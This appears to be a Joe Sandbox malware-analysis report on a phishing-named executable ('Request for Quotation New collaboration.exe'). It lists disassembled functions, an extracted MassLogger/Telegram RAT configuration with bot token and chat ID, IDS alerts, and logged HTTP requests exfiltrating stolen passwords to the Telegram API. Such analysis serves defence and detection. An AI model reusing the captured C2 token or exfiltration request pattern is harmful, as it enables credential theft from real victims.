Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: ffbbbef4bb215af9c79ac16ecb942473111b8a896db240ad95dfeee9b4123394
Instruction ID: e96fcdb8fef6e8ad8397e3324e9c6cbe2a99463e9dbc89d2689884753c01e048
Opcode Fuzzy Hash: ffbbbef4bb215af9c79ac16ecb942473111b8a896db240ad95dfeee9b4123394
Instruction Fuzzy Hash: 9C019E71A00608AFDF215F11DD84FAB3A26EB84354F104136FA007E2E0C37A8C929E69

Function 00405B85 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405BA3
GetTempFileNameW.KERNEL32(?,?,00000000,?,?,?,00000000,00403358,00436000,00436800), ref: 00405BBE

Strings

nsa, xrefs: 00405B92

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 7054b5fb0d700673de611bc5c70211d8803a17d96c063a26fac21c3c19acc14a
Instruction ID: ce32066b90f2dd5c00c4c21114408b385ae8a9c1cc04399698be8057c3d71d7e
Opcode Fuzzy Hash: 7054b5fb0d700673de611bc5c70211d8803a17d96c063a26fac21c3c19acc14a
Instruction Fuzzy Hash: B7F09676A00204BBDB008F59DC05F9BB7B9EB91710F10803AE901F7180E2B0BD40CB64

Function 00405665 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256D8,Error launching installer), ref: 0040568A
CloseHandle.KERNEL32(?), ref: 00405697

Strings

Error launching installer, xrefs: 00405678

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: db986bb620d03a990efffdf1bf116708606012bbbe4d85f78c6f80e4c395a8cb
Instruction ID: c7c859a2db999ab7639828e98f3e535764a8332e37e79a8a612d2f3195062982
Opcode Fuzzy Hash: db986bb620d03a990efffdf1bf116708606012bbbe4d85f78c6f80e4c395a8cb
Instruction Fuzzy Hash: 19E0ECB4A01209AFEB009F64EC49A6B7BBCEB00744B908921A914F2250D778E8108A7D

Function 00406974 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe49718026384e2f2d8d8d283f1539e894bec1c05f027991fc18b2b3d3b0abdf
Instruction ID: 0bcb7f2cf841bf472a0df6abca0e2eee6c891e9108e2cead3d2ea24e9771fd10
Opcode Fuzzy Hash: fe49718026384e2f2d8d8d283f1539e894bec1c05f027991fc18b2b3d3b0abdf
Instruction Fuzzy Hash: D6A15671E00229CBDF28CFA8C854BADBBB1FF44305F15816AD856BB281C7785A96DF44

Function 00406B75 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c1b3bbb7fb5d360c352e29dce0ca82793dba8b39a20caf6091836a7e5acd446
Instruction ID: 5ff8dc76d646c522b35349404ae71f3a07db7e5a5a41cf42f501ef55767b32d6
Opcode Fuzzy Hash: 7c1b3bbb7fb5d360c352e29dce0ca82793dba8b39a20caf6091836a7e5acd446
Instruction Fuzzy Hash: DD913470E04229CBEF28CF98C8547ADBBB1FF44305F15816AD852BB291C7789996DF44

Function 0040688B Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06a588dc36723823e64c1d76eb6b79df0e0f5c7b74692a20a357622d355e40c3
Instruction ID: bb31d40f455f6cff8f0b7d4569728449f81f985eb729d97d8cba9c35205a948c
Opcode Fuzzy Hash: 06a588dc36723823e64c1d76eb6b79df0e0f5c7b74692a20a357622d355e40c3
Instruction Fuzzy Hash: A6814471E04228CBDF24CFA8C844BADBBB1FF44305F25816AD456BB281C7789996DF44

Function 00406390 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72aa8ec3dd0942b5b71c471d9b9626f4b4465e3dfbf4f8c787812f56ef585442
Instruction ID: e59bb743c0d69fedc8ec9c1b53f92d0ee49f9853fc7f4c6d73f4ee5c7875ed1f
Opcode Fuzzy Hash: 72aa8ec3dd0942b5b71c471d9b9626f4b4465e3dfbf4f8c787812f56ef585442
Instruction Fuzzy Hash: FE816671E04228DBDF24CFA8C8447ADBBB0FF44305F15816AD856BB281C7786996DF44

Function 004067DE Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d7d6eeb6ae866c31b6fd6fb1bb683d5497ea3b6253a7880f6caf84b5ad72384
Instruction ID: 9556348457f1f5f1301c48e47fc8538a45dff02eab8277f34011f15b85b09a92
Opcode Fuzzy Hash: 1d7d6eeb6ae866c31b6fd6fb1bb683d5497ea3b6253a7880f6caf84b5ad72384
Instruction Fuzzy Hash: 43711271E00228DBDF28CF98C854BADBBB1FF48305F15806AD816BB281C7789996DF54

Function 004068FC Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55af2c983f537d9a3a53cfac4a449f3e0c8fe7d310f5448a54a9ff87f60f3244
Instruction ID: ef61438920200bd82941886013112b5956151ce3a95704f571d29bdd470ffe0d
Opcode Fuzzy Hash: 55af2c983f537d9a3a53cfac4a449f3e0c8fe7d310f5448a54a9ff87f60f3244
Instruction Fuzzy Hash: FF713571E00228DBDF28CF98C854BADBBB1FF44305F15806AD856BB291C7789996DF44

Function 00406848 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 720b16b0405195766e324cd34a7adf45238a3bda3f5e9f89198b3f7d2eee93b7
Instruction ID: 0528ad5c4640a45b82c18dce6d1929194436f5f2edf35a138e23b2c729619556
Opcode Fuzzy Hash: 720b16b0405195766e324cd34a7adf45238a3bda3f5e9f89198b3f7d2eee93b7
Instruction Fuzzy Hash: AD714671E00228DBDF28CF98C854BADBBB1FF44305F15806AD816BB291C778AA56DF44

Function 00405ABB Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405ACB
lstrcmpiA.KERNEL32(00405CF5,00000000), ref: 00405AE3
CharNextA.USER32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AF4
lstrlenA.KERNEL32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AFD

Memory Dump Source

Source File: 00000005.00000002.2809614839.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2809587637.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809635003.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809662370.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2809690813.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f0f41473c1062d639537f97a351ef6b232bfd88747b8e1d85754dbc4161d6f9d
Instruction ID: dad0a046b028959ebe33103b56e1cab2fddac0818810981e259aca52f0e6fc56
Opcode Fuzzy Hash: f0f41473c1062d639537f97a351ef6b232bfd88747b8e1d85754dbc4161d6f9d
Instruction Fuzzy Hash: 59F06232608558BFC712DFA5DD40D9FBBA8DF06260B2540B6F801F7251D674FE019BA9

Source: 00000005.00000002.2835640876.0000000035323000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI", "Telegram Chatid": "6897585916"}
Source: Request for Quotation New collaboration.exe.2556.5.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendMessage"}

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351AB4C0 CryptUnprotectData,		5_2_351AB4C0
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_351ABCB8 CryptUnprotectData,		5_2_351ABCB8

Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49750 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49732 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49739 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49758 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49780 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49789 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49770 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49820 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49810 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49831 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49870 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49860 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49840 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49850 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49800 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd17f9c670142fHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd18292170108fHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd18556e1b4be9Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd18817804e060Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd18abdf1d4165Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd18d604afe111Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd190142b581ddHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd192ae3f7a3c5Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1955993a0d8bHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd197eb93c5cf4Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd19a8eb1779e4Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd19d6c99f3d5cHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1a09955ebf67Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1a413e5c3134Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1a842186c56fHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 172.67.177.134 172.67.177.134
Source: Joe Sandbox View	IP Address: 132.226.247.73 132.226.247.73

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 0015E959h	5_2_0015E6A8
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 0015F082h	5_2_0015EC58
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 0015F082h	5_2_0015EFAF
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 351AAC65h	5_2_351AA928
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 351AD5D8h	5_2_351AD330
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 351AEDF0h	5_2_351AEB48
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 351AC020h	5_2_351ABD78
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 351A9619h	5_2_351A9370
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 351AF248h	5_2_351AEFA0
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 351AC478h	5_2_351AC1D0
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 351A9A71h	5_2_351A97C8
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 351AF6A0h	5_2_351AF3F8
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 351AC8D0h	5_2_351AC628
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 351A9EC9h	5_2_351A9C20
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 351AFAF8h	5_2_351AF850
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 351AA321h	5_2_351AA078
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 351ACD28h	5_2_351ACA80
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 351AD180h	5_2_351ACED8
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 351AA779h	5_2_351AA4D0
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 351AE998h	5_2_351AE6F0
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 37EE4548h	5_2_37EE42A0
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 37EE630Dh	5_2_37EE6130
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 37EE6C97h	5_2_37EE6130
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then push 00000000h	5_2_37EE98D0
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 37EE49A0h	5_2_37EE46F8
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	5_2_37EEA6C7
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	5_2_37EE5631
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 37EE18A0h	5_2_37EE15F8
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 37EE3840h	5_2_37EE3598
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 37EE0740h	5_2_37EE0498
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 37EE25AAh	5_2_37EE2300
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 37EE1448h	5_2_37EE11A0
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 37EE33E8h	5_2_37EE3140
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 37EE02E8h	5_2_37EE0040
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 37EE5250h	5_2_37EE4FA8
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 37EE2150h	5_2_37EE1EA8
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 37EE40F0h	5_2_37EE3E48
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 37EE0FF0h	5_2_37EE0D48
